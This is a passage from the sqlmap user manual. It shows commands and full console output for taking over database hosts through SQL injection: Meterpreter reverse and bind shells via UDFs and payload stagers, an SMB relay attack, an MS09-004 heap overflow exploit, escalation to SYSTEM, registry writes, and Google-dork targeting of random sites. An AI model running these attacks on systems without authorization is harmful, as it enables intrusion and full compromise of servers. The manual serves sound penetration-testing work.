Files/MySQL/MySQL Server 5.1/lib/plugin' subfolder [hh:mm:47] [INFO] creating UDF 'sys_bineval' from the binary UDF file [hh:mm:47] [INFO] creating UDF 'sys_exec' from the binary UDF file how do you want to execute the Metasploit shellcode on the back-end database underlying operating system? [1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default) [2] Stand-alone payload stager (file system way) > 1 [hh:mm:51] [INFO] creating Metasploit Framework 3 multi-stage shellcode which connection type do you want to use? [1] Reverse TCP: Connect back from the database host to this machine (default) [2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535 [3] Bind TCP: Listen on the database host for a connection > 1 which is the local address? [192.168.136.1] which local port number do you want to use? [47776] which payload do you want to use? [1] Meterpreter (default) [2] Shell [3] VNC > 1 [hh:mm:55] [INFO] creation in progress .............................................. done [hh:mm:41] [INFO] running Metasploit Framework 3 command line interface locally, wait.. [*] Please wait while we load the module tree... [*] Started reverse handler on 192.168.136.1:47776 [*] Starting the payload handler... [hh:mm:22] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval', wait.. [*] Sending stage (748032 bytes) [*] Meterpreter session 1 opened (192.168.136.1:47776 -> 192.168.136.128:2176) meterpreter > Loading extension espia...success. meterpreter > Loading extension incognito...success. meterpreter > Loading extension priv...success. meterpreter > Loading extension sniffer...success. meterpreter > Computer: W2K3DEV OS : Windows .NET Server (Build 3790, Service Pack 2). Arch : x86 Language: en_US meterpreter > Server username: NT AUTHORITY\SYSTEM meterpreter > ipconfig MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 VMware Accelerated AMD PCNet Adapter #2 Hardware MAC: 00:0c:29:86:69:1b IP Address : 192.168.136.128 Netmask : 255.255.255.0 meterpreter > exit [hh:mm:52] [INFO] cleaning up the database management system do you want to remove UDF 'sys_bineval'? [Y/n] do you want to remove UDF 'sys_exec'? [Y/n] [hh:mm:54] [INFO] database management system cleanup finished [hh:mm:54] [WARNING] remember that UDF dynamic-link library files and Metasploit related files in the temporary folder saved on the file system can only be deleted manually </verb></tscreen> By default MySQL on Windows runs as <tt>SYSTEM</tt>, however PostgreSQL runs as a low-privileged user <tt>postgres</tt> on both Windows and Linux. Microsoft SQL Server 2000 by default runs as <tt>SYSTEM</tt>, whereas Microsoft SQL Server 2005 and 2008 run most of the times as <tt>NETWORK SERVICE</tt> and sometimes as <tt>LOCAL SERVICE</tt>. It is possible to provide sqlmap with the <tt>-</tt><tt>-priv-esc</tt> option to perform a <bf>database process' user privilege escalation</bf> via Metasploit's <tt>getsystem</tt> command which include, among others, the <htmlurl url="http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html" name="kitrap0d"> technique (<htmlurl url="http://www.microsoft.com/technet/security/bulletin/ms10-015.mspx" name="MS10-015">) or via <htmlurl url="http://www.argeniss.com/research/TokenKidnapping.pdf" name="Windows Access Tokens kidnapping"> by using Meterpreter's <htmlurl url="http://sourceforge.net/projects/incognito/" name="incognito"> extension. Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> running as <tt>NETWORK SERVICE</tt> on the target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.128/sqlmap/mssql/iis/get_int.asp?id=1" \ --os-pwn -v 1 --msf-path /home/inquis/software/metasploit --priv-esc [...] web server operating system: Windows 2000 web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft SQL Server 2005 [hh:mm:47] [INFO] testing stacked queries support on parameter 'id' [hh:mm:52] [INFO] the web application supports stacked queries on parameter 'id' [hh:mm:52] [INFO] testing if current user is DBA [hh:mm:52] [INFO] retrieved: 1 [hh:mm:52] [INFO] checking if xp_cmdshell extended procedure is available, wait.. [hh:mm:01] [INFO] xp_cmdshell extended procedure is available [hh:mm:01] [INFO] creating Metasploit Framework 3 payload stager which connection type do you want to use? [1] Reverse TCP: Connect back from the database host to this machine (default) [2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535 [3] Bind TCP: Listen on the database host for a connection > 1 which is the local address? [192.168.136.1] which local port number do you want to use? [44780] [hh:mm:52] [INFO] forcing Metasploit payload to Meterpreter because it is the only payload that can be used to escalate privileges, either via 'incognito' extension or via 'getsystem' command which payload encoding do you want to use? [1] No Encoder [2] Alpha2 Alphanumeric Mixedcase Encoder [3] Alpha2 Alphanumeric Uppercase Encoder [4] Avoid UTF8/tolower [5] Call+4 Dword XOR Encoder [6] Single-byte XOR Countdown Encoder [7] Variable-length Fnstenv/mov Dword XOR Encoder [8] Polymorphic Jump/Call XOR Additive Feedback Encoder [9] Non-Alpha Encoder [10] Non-Upper Encoder [11] Polymorphic XOR Additive Feedback Encoder (default) [12] Alpha2 Alphanumeric Unicode Mixedcase Encoder [13] Alpha2 Alphanumeric Unicode Uppercase Encoder > [hh:mm:53] [INFO] creation in progress ..... done [hh:mm:58] [INFO] compression in progress . done [hh:mm:59] [INFO] uploading payload stager to 'C:/WINDOWS/Temp/tmpmqyws.exe' [hh:mm:05] [INFO] running Metasploit Framework 3 command line interface locally, wait.. [*] Please wait while we load the module tree... [*] Started reverse handler on 192.168.136.1:44780 [*] Starting the payload handler... [hh:mm:31] [INFO] running Metasploit Framework 3 payload stager remotely, wait.. [*] Sending stage (748032 bytes) [*] Meterpreter session 1 opened (192.168.136.1:44780 -> 192.168.136.128:2185) meterpreter > [hh:mm:34] [INFO] trying to escalate privileges using Meterpreter 'getsystem' command which tries different techniques, including kitrap0d [hh:mm:34] [INFO] displaying the list of Access Tokens availables. Choose which user you want to impersonate by using incognito's command 'impersonate_token' if 'getsystem' did not success to elevate privileges Loading extension espia...success. meterpreter > Loading extension incognito...success. meterpreter > Loading extension priv...success. meterpreter > Loading extension sniffer...success. meterpreter > Computer: W2K3DEV OS : Windows .NET Server (Build 3790, Service Pack 2). Arch : x86 Language: en_US meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE meterpreter > ...got system (via technique 4). meterpreter > Delegation Tokens Available ======================================== NT AUTHORITY\LOCAL SERVICE NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\SYSTEM W2K3DEV\Administrator W2K3DEV\IUSR_W2K3STENSP0 W2K3DEV\postgres Impersonation Tokens Available ======================================== NT AUTHORITY\ANONYMOUS LOGON meterpreter > Server username: NT AUTHORITY\SYSTEM meterpreter > ipconfig MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 VMware Accelerated AMD PCNet Adapter #2 Hardware MAC: 00:0c:29:86:69:1b IP Address : 192.168.136.128 Netmask : 255.255.255.0 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > exit [hh:mm:52] [INFO] cleaning up the database management system </verb></tscreen> <sect2>One click prompt for an out-of-band shell, meterpreter or VNC Switches: <tt>-</tt><tt>-os-smbrelay</tt>, <tt>-</tt><tt>-priv-esc</tt> and <tt>-</tt><tt>-msf-path</tt> If the back-end database management system runs on Windows as <tt>Administrator</tt> and the system is not patched against Microsoft Security Bulletin <htmlurl url="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx" name="MS08-068">, sqlmap can abuse the universal naming convention (UNC) feature within any database management system to force the database server to initiate a SMB connection with the attacker host, then perform a SMB authentication relay attack in order to establish a high-privileged <bf>out-of-band TCP stateful channel</bf> between the attacker host and the target database server. sqlmap relies on <htmlurl url="http://www.metasploit.com/framework/" name="Metasploit">'s SMB relay exploit to perform this attack. You need to run sqlmap as a privileged user (e.g. <bf>root</bf>) if you want to perform a SMB relay attack because it will need to listen on a user-specified SMB TCP port for incoming connection attempts. Note that this feature is not supported by sqlmap running on Windows platform because it relies on Metasploit's <tt>msfpayload</tt> which is not fully working on Windows. This technique is detailed in the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">. Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> running as <tt>Administrator</tt> on the target: <tscreen><verb> $ sudo python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \ --os-smbrelay -v 1 --msf-path /home/inquis/software/metasploit [...] [hh:mm:11] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2000 web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft SQL Server 2005 [hh:mm:11] [INFO] testing stacked queries support on parameter 'name' [hh:mm:16] [INFO] the web application supports stacked queries on parameter 'name' [hh:mm:16] [WARNING] it is unlikely that this attack will be successful because often Microsoft SQL Server 2005 runs as Network Service which is not a real user, it does not send the NTLM session hash when connecting to a SMB service [hh:mm:16] [INFO] which connection type do you want to use? [1] Bind TCP (default) [2] Bind TCP (No NX) [3] Reverse TCP [4] Reverse TCP (No NX) > 1 [hh:mm:16] [INFO] which is the local address? [192.168.136.161] 192.168.136.161 [hh:mm:16] [INFO] which is the back-end DBMS address? [192.168.136.131] 192.168.136.131 [hh:mm:16] [INFO] which remote port numer do you want to use? [4907] 4907 [hh:mm:16] [INFO] which payload do you want to use? [1] Meterpreter (default) [2] Shell [3] VNC > 1 [hh:mm:16] [INFO] which SMB port do you want to use? [1] 139/TCP (default) [2] 445/TCP > 1 [hh:mm:16] [INFO] running Metasploit Framework 3 console locally, wait.. _ _ _ _ | | | | (_) | _ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_ | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __| | | | | | | __/ || (_| \__ \ |_) | | (_) | | |_ |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__| | | |_| =[ msf v3.3-dev + -- --=[ 392 exploits - 234 payloads + -- --=[ 20 encoders - 7 nops =[ 168 aux resource> use windows/smb/smb_relay resource> set SRVHOST 192.168.136.161 SRVHOST => 192.168.136.161 resource> set SRVPORT 139 SRVPORT => 139 resource> set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp resource> set LPORT 4907 LPORT => 4907 resource> set RHOST 192.168.136.131 RHOST => 192.168.136.131 resource> exploit [*] Exploit running as background job. msf exploit(smb_relay) > [*] Started bind handler [*] Server started. [*] Received 192.168.136.131:3242 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 Service Pack 2 LM: [*] Sending Access Denied to 192.168.136.131:3242 \ [*] Received 192.168.136.131:3242 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows Server 2003 3790 Service Pack 2 LM: [*] Authenticating to 192.168.136.131 as W2K3DEV\Administrator... [*] AUTHENTICATED as W2K3DEV\Administrator... [*] Connecting to the ADMIN$ share... [*] Regenerating the payload... [*] Uploading payload... [*] Created \wELRmcmd.exe... [*] Connecting to the Service Control Manager... [*] Obtaining a service manager handle... [*] Creating a new service... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Removing the service... [*] Closing service handle... [*] Deleting \wELRmcmd.exe... [*] Sending Access Denied to 192.168.136.131:3242 W2K3DEV\Administrator [*] Transmitting intermediate stager for over-sized stage...(216 bytes) [*] Received 192.168.136.131:3244 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 Service Pack 2 LM: [*] Sending Access Denied to 192.168.136.131:3244 \ [*] Received 192.168.136.131:3244 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows Server 2003 3790 Service Pack 2 LM: [*] Authenticating to 192.168.136.131 as W2K3DEV\Administrator... [*] AUTHENTICATED as W2K3DEV\Administrator... [*] Ignoring request from 192.168.136.131, attack already in progress. [*] Sending Access Denied to 192.168.136.131:3244 W2K3DEV\Administrator [*] Sending stage (718336 bytes) [*] Meterpreter session 1 opened (192.168.136.161:51813 -> 192.168.136.131:4907) Active sessions =============== Id Description Tunnel -- ----------- ------ 1 Meterpreter 192.168.136.161:51813 -> 192.168.136.131:4907 msf exploit(smb_relay) > [*] Starting interaction with 1... meterpreter > [-] The 'priv' extension has already been loaded. meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > exit [*] Meterpreter session 1 closed. msf exploit(smb_relay) > exit [*] Server stopped. </verb></tscreen> <sect2>Database stored procedure heap-based buffer overflow exploit Switches: <tt>-</tt><tt>-os-bof</tt>, <tt>-</tt><tt>-priv-esc</tt> and <tt>-</tt><tt>-msf-path</tt> If the back-end database management system is Microsoft SQL Server not patched against Microsoft Security Bulletin <htmlurl url="http://www.microsoft.com/technet/security/Bulletin/MS09-004.mspx" name="MS09-004">, sqlmap can exploit the heap-based buffer overflow affecting <tt>sp_replwritetovarbin</tt> stored procedure in order to establish an <bf>out-of-band TCP stateful channel</bf> between the attacker host and the target database server. sqlmap has its own exploit to trigger the vulnerability, but it relies on <htmlurl url="http://www.metasploit.com/framework/" name="Metasploit"> to generate the shellcode used within the exploit. Note that this feature is not supported by sqlmap running on Windows platform because it relies on Metasploit's <tt>msfcli</tt> which is not available for Windows. This technique is detailed in the white paper <htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control"> and in the slide deck <htmlurl url="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database" name="Expanding the control over the operating system from the database">. Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u http://192.168.136.128/sqlmap/mssql/iis/get_int.asp?id=1 \ --os-bof -v 1 --msf-path ~/software/metasploit [...] web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft SQL Server 2005 [hh:mm:51] [INFO] testing stacked queries support on parameter 'id' [hh:mm:56] [INFO] the web application supports stacked queries on parameter 'id' [hh:mm:56] [INFO] going to exploit the Microsoft SQL Server 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) [hh:mm:56] [INFO] fingerprinting the back-end DBMS operating system version and service pack [hh:mm:56] [INFO] retrieved: 1 [hh:mm:58] [INFO] retrieved: 1 [hh:mm:58] [INFO] the back-end DBMS operating system is Windows 2003 Service Pack 2 [hh:mm:58] [INFO] creating Metasploit Framework 3 multi-stage shellcode which connection type do you want to use? [1] Reverse TCP: Connect back from the database host to this machine (default) [2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535 [3] Bind TCP: Listen on the database host for a connection > which is the local address? [192.168.136.1] which local port number do you want to use? [21380] which payload do you want to use? [1] Meterpreter (default) [2] Shell [3] VNC > which payload encoding do you want to use? [1] No Encoder [2] Alpha2 Alphanumeric Mixedcase Encoder [3] Alpha2 Alphanumeric Uppercase Encoder [4] Avoid UTF8/tolower [5] Call+4 Dword XOR Encoder [6] Single-byte XOR Countdown Encoder [7] Variable-length Fnstenv/mov Dword XOR Encoder [8] Polymorphic Jump/Call XOR Additive Feedback Encoder [9] Non-Alpha Encoder [10] Non-Upper Encoder [11] Polymorphic XOR Additive Feedback Encoder (default) [12] Alpha2 Alphanumeric Unicode Mixedcase Encoder [13] Alpha2 Alphanumeric Unicode Uppercase Encoder > [hh:mm:16] [INFO] creation in progress .... done [hh:mm:20] [INFO] running Metasploit Framework 3 command line interface locally, wait.. [*] Please wait while we load the module tree... [*] Started reverse handler on 192.168.136.1:21380 [*] Starting the payload handler... [hh:mm:27] [INFO] triggering the buffer overflow vulnerability, wait.. [*] Sending stage (748032 bytes) [*] Meterpreter session 1 opened (192.168.136.1:21380 -> 192.168.136.128:12062) meterpreter > Loading extension espia...success. meterpreter > Loading extension incognito...success. meterpreter > Loading extension priv...success. meterpreter > Loading extension sniffer...success. meterpreter > Computer: W2K3DEV OS : Windows .NET Server (Build 3790, Service Pack 2). Arch : x86 Language: en_US meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE meterpreter > ipconfig MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 VMware Accelerated AMD PCNet Adapter #2 Hardware MAC: 00:0c:29:86:69:1b IP Address : 192.168.136.128 Netmask : 255.255.255.0 meterpreter > exit </verb></tscreen> <sect1>Windows registry access It is possible to access Windows registry when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and when the underlying database layer supports stacked SQL queries. Also, session user has to have the needed privileges to access it. <sect2>Read a Windows registry key value Switch: <tt>-</tt><tt>-reg-read</tt> Using this option you can read registry key values. Example on a <bf>PostgreSQL 8.4</bf> target: <tscreen><verb> $ python sqlmap.py -u http://192.168.136.128/sqlmap/pgsql/get_int.php?id=1 --reg-read [...] web server operating system: Windows web application technology: PHP 5.3.1, Apache 2.2.14 back-end DBMS: PostgreSQL [hh:mm:15] [INFO] testing stacked queries support on parameter 'id' [hh:mm:15] [INFO] detecting back-end DBMS version from its banner [hh:mm:15] [INFO] retrieved: 8.4.2, [hh:mm:23] [INFO] the web application supports stacked queries on parameter 'id' [hh:mm:23] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:23] [INFO] retrieved: 1 [hh:mm:23] [INFO] the back-end DBMS operating system is Windows [hh:mm:23] [INFO] testing if current user is DBA [hh:mm:23] [INFO] retrieved: 1 [hh:mm:23] [INFO] checking if UDF 'sys_eval' already exist [hh:mm:23] [INFO] retrieved: 0 [hh:mm:24] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:24] [INFO] retrieved: 0 [hh:mm:25] [INFO] creating UDF 'sys_eval' from the binary UDF file [hh:mm:25] [INFO] creating UDF 'sys_exec' from the binary UDF file which registry key do you want to read? [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion] which registry key value do you want to read? [ProductName] [hh:mm:34] [INFO] reading Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\ProductName' [hh:mm:35] [INFO] retrieved: ProductName REG_SZ Microsoft Windows XP Registry key value data: 'ProductName REG_SZ Microsoft Windows XP' </verb></tscreen> <sect2>Write a Windows registry key value Switch: <tt>-</tt><tt>-reg-add</tt> Using this option you can write registry key values. Example on a <bf>PostgreSQL 8.4</bf> target: <tscreen><verb> $ python sqlmap.py -u http://192.168.136.128/sqlmap/pgsql/get_int.php?id=1 --reg-add [...] web server operating system: Windows web application technology: PHP 5.3.1, Apache 2.2.14 back-end DBMS: PostgreSQL [hh:mm:20] [INFO] testing stacked queries support on parameter 'id' [hh:mm:20] [INFO] detecting back-end DBMS version from its banner [hh:mm:20] [INFO] retrieved: 8.4.2, [hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id' [hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:29] [INFO] retrieved: 1 [hh:mm:30] [INFO] the back-end DBMS operating system is Windows [hh:mm:30] [INFO] testing if current user is DBA [hh:mm:30] [INFO] retrieved: 1 [hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:30] [INFO] retrieved: 0 [hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file which registry key do you want to write? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap which registry key value do you want to write? Test which registry key value data do you want to write? 1 which registry key value data-type is it? [REG_SZ] REG_DWORD [hh:mm:41] [INFO] adding Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test' with data '1'. This will work only if the user running the database process has privileges to modify the Windows registry. </verb></tscreen> <sect2>Delete a Windows registry key Switch: <tt>-</tt><tt>-reg-del</tt> Using this option you can delete registry keys. Example on a <bf>PostgreSQL 8.4</bf> target: <tscreen><verb> $ python sqlmap.py -u http://192.168.136.128/sqlmap/pgsql/get_int.php?id=1 --reg-del [...] web server operating system: Windows web application technology: PHP 5.3.1, Apache 2.2.14 back-end DBMS: PostgreSQL [hh:mm:20] [INFO] testing stacked queries support on parameter 'id' [hh:mm:20] [INFO] detecting back-end DBMS version from its banner [hh:mm:20] [INFO] retrieved: 8.4.2, [hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id' [hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:29] [INFO] retrieved: 1 [hh:mm:30] [INFO] the back-end DBMS operating system is Windows [hh:mm:30] [INFO] testing if current user is DBA [hh:mm:30] [INFO] retrieved: 1 [hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:30] [INFO] retrieved: 0 [hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file which registry key do you want to delete? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap which registry key value do you want to delete? Test are you sure that you want to delete the Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\ sqlmap\Test? [y/N] y [hh:mm:26] [INFO] deleting Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test'. This will work only if the user running the database process has privileges to modify the Windows registry. </verb></tscreen> <sect2>Auxiliary registry switches Switches: <tt>-</tt><tt>-reg-key</tt>, <tt>-</tt><tt>-reg-value</tt>, <tt>-</tt><tt>-reg-data</tt> and <tt>-</tt><tt>-reg-type</tt> These switches can be used to provide data needed for proper running of options <tt>-</tt><tt>-reg-read</tt>, <tt>-</tt><tt>-reg-add</tt> and <tt>-</tt><tt>-reg-del</tt>. So, instead of providing registry key information when asked, you can use them at command prompt as program arguments. With <tt>-</tt><tt>-reg-key</tt> option you specify used windows registry key path, with <tt>-</tt><tt>-reg-value</tt> value item name inside provided key, with <tt>-</tt><tt>-reg-data</tt> value data, while with <tt>-</tt><tt>-reg-type</tt> option you specify type of the value item. So, another way of running example from option <tt>-</tt><tt>-reg-add</tt> could be: <tscreen><verb> $ python sqlmap.py -u http://192.168.136.128/sqlmap/pgsql/get_int.php?id=1 --reg-add \ --reg-key=HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap --reg-value=Test --reg-type=REG_SZ --reg-data=1 </verb></tscreen> <sect1>Miscellaneous <sect2>Session file: save and resume all data retrieved Switch: <tt>-s</tt> By default sqlmap logs all queries and their output into a text file while performing whatever request, both in blind SQL injection and in inband SQL injection. This is useful if you stop the injection and resume it after some time. The default session file is <tt>output/hostname/session</tt>, but you can change its path with the <tt>-s</tt> option. Example on a <bf>PostgreSQL 8.3.5</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" -b \ -v 2 -s "sqlmap.log" [...] back-end DBMS: PostgreSQL [hh:mm:02] [DEBUG] query: VERSION() [hh:mm:02] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-^C [hh:mm:03] [ERROR] user aborted </verb></tscreen> As you can see, I stopped the injection with <tt>CTRL-C</tt> while retrieving the PostgreSQL banner and logged the session to text file <tt>sqlmap.log</tt>. <tscreen><verb> $ cat sqlmap.log [hh:mm:00 MM/DD/YY] [http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection point][GET] [http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection parameter][id] [http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection type][numeric] [http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0] [http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('9', '9')][] [http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][] [http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(3, NULL)][3] [http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('3')][1] [http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL] [http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5 on i486-pc- </verb></tscreen> As you can see, all queries performed and their output have been logged to the session file in real time while performing the injection. The session file has a structure as follows: <tscreen><verb> [hh:mm:ss MM/DD/YY] [Target URL][Injection point][Parameters][Query or information name][Query output or value] </verb></tscreen> Performing the same request now, sqlmap resumes all information already retrieved then calculates the query length, in the example <tt>VERSION()</tt>, and resumes the injection from the last character retrieved to the end of the query output. <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" -b \ -v 2 -s "sqlmap.log" [...] [hh:mm:03] [INFO] resuming injection point 'GET' from session file [hh:mm:03] [INFO] resuming injection parameter 'id' from session file [hh:mm:03] [INFO] resuming injection type 'numeric' from session file [hh:mm:03] [INFO] resuming 0 number of parenthesis from session file [hh:mm:03] [INFO] resuming back-end DBMS 'PostgreSQL' from session file [hh:mm:03] [INFO] testing connection to the target url [hh:mm:03] [INFO] testing for parenthesis on injectable parameter [hh:mm:03] [INFO] retrieving the length of query output [hh:mm:03] [DEBUG] query: LENGTH(VERSION()) [hh:mm:03] [INFO] retrieved: 98 [hh:mm:03] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.3.5 on i486-pc-... [hh:mm:03] [INFO] retrieving pending 70 query output characters [hh:mm:03] [DEBUG] query: SUBSTR((VERSION())::text, 29, 98) [hh:mm:03] [INFO] retrieved: linux-gnu, compiled by GCC gcc-4.3.real (Ubuntu 4.3.2-1ubuntu11) 4.3.2 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex) back-end DBMS: PostgreSQL [hh:mm:07] [INFO] fetching banner banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real (Ubuntu 4.3.2-1ubuntu11) 4.3.2' </verb></tscreen> <sect2>Flush session file for current target Switch: <tt>-</tt><tt>-flush-session</tt> As you are already familiar with the concept of a session file from the description of option <tt>-s</tt>, it is good to know that you can flush the content of that same file using option <tt>-</tt><tt>-flush-session</tt>. This way you can avoid caching mechanisms implemented by default in sqlmap. Other possible way is the manual removing of session file(s), <tt>sqlmap.log</tt> in the example above, or the default <tt>output/hostname/session</tt> if <tt>-s</tt> is not provided. <sect2>Estimated time of arrival Switch: <tt>-</tt><tt>-eta</tt> It is possible to calculate and show the estimated time of arrival to retrieve each query output in real time while performing the SQL injection attack. Example on an <bf>Oracle XE 10.2.0.1</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -b \ --eta -v 2 [...] back-end DBMS: Oracle [hh:mm:24] [INFO] fetching banner [hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query output again [hh:mm:24] [INFO] retrieved the length of query output: 64 [hh:mm:24] [DEBUG] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version WHERE ROWNUM=1 77% [=======================================> ] 49/64 ETA 00:00 </verb></tscreen> then: <tscreen><verb> 100% [====================================================] 64/64 [hh:mm:15] [DEBUG] performed 454 queries in 2 seconds banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product' </verb></tscreen> Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: <tscreen><verb> $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" \ --users --eta -v 1 [...] back-end DBMS: Microsoft SQL Server 2000 [hh:mm:57] [INFO] fetching database users [hh:mm:57] [INFO] fetching number of database users [hh:mm:57] [INFO] retrieved: 3 [hh:mm:57] [INFO] retrieved the length of query output: 22 100% [====================================================] 22/22 [hh:mm:58] [INFO] retrieved the length of query output: 2 100% [====================================================] 2/2 [hh:mm:59] [INFO] retrieved the length of query output: 25 100% [====================================================] 25/25 [hh:mm:00] [DEBUG] performed 181 queries in 1 seconds database management system users [3]: [*] BUILTIN\Administrators [*] sa [*] W2KITINQUIS\Administrator </verb></tscreen> As you can see, sqlmap first calculates the length of the query output, then estimates the time of arrival, shows the progress in percentage and counts the number of retrieved query output characters. <sect2>Use Google dork results from specified page number Switch: <tt>-</tt><tt>-gpage</tt> Default sqlmap behavior with option <tt>-g</tt> is to do a Google search and use resulting urls from first (100) result page for further sql injection testing. In combination with this option you can specify some other page other than the first one for retrieving target urls. Example of Google dorking with expression <tt>login ext:php</tt> and resulting page set to 3: <tscreen><verb> $ python sqlmap.py -g "ext:php login" --gpage 3 -v 1 [hh:mm:14] [INFO] first request to Google to get the session cookie [hh:mm:14] [INFO] using Google result page #3 [hh:mm:14] [INFO] sqlmap got 100 results for your Google dork expression, 89 of them are testable targets [hh:mm:15] [INFO] sqlmap got a total of 89 targets url 1: GET http://www.XXX.com/index.php?pageid=login do you want to test this url? [Y/n/q] > y [hh:mm:17] [INFO] testing url http://www.XXX.com/index.php?pageid=login [hh:mm:17] [INFO] using '/home/inquis/sqlmap/output/www.XXX.com/session' as session file [hh:mm:17] [INFO] testing connection to the target url [hh:mm:17] [INFO] testing if the url is stable, wait a few seconds [hh:mm:19] [INFO] url is stable [hh:mm:19] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic [hh:mm:21] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [hh:mm:22] [INFO] testing if Cookie parameter 'PHPSESSID' is dynamic [hh:mm:24] [INFO] confirming that Cookie parameter 'PHPSESSID' is dynamic [hh:mm:27] [INFO] Cookie parameter 'PHPSESSID' is dynamic [...] </verb></tscreen> <sect2>Update sqlmap Switch: <tt>-</tt><tt>-update</tt> Using this option you can update the program to the latest version directly from the Subversion repository along with the latest Microsoft SQL Server XML versions file from Chip Andrews' <htmlurl url="http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" name="SQLSecurity.com site">. <tscreen><verb> $ python sqlmap.py --update [...] [hh:mm:27] [INFO] updating sqlmap to latest development version from the subversion repository [hh:mm:28] [INFO] updated to the latest revision XXXX [hh:mm:29] [INFO] updating Microsoft SQL Server XML versions file [hh:mm:33] 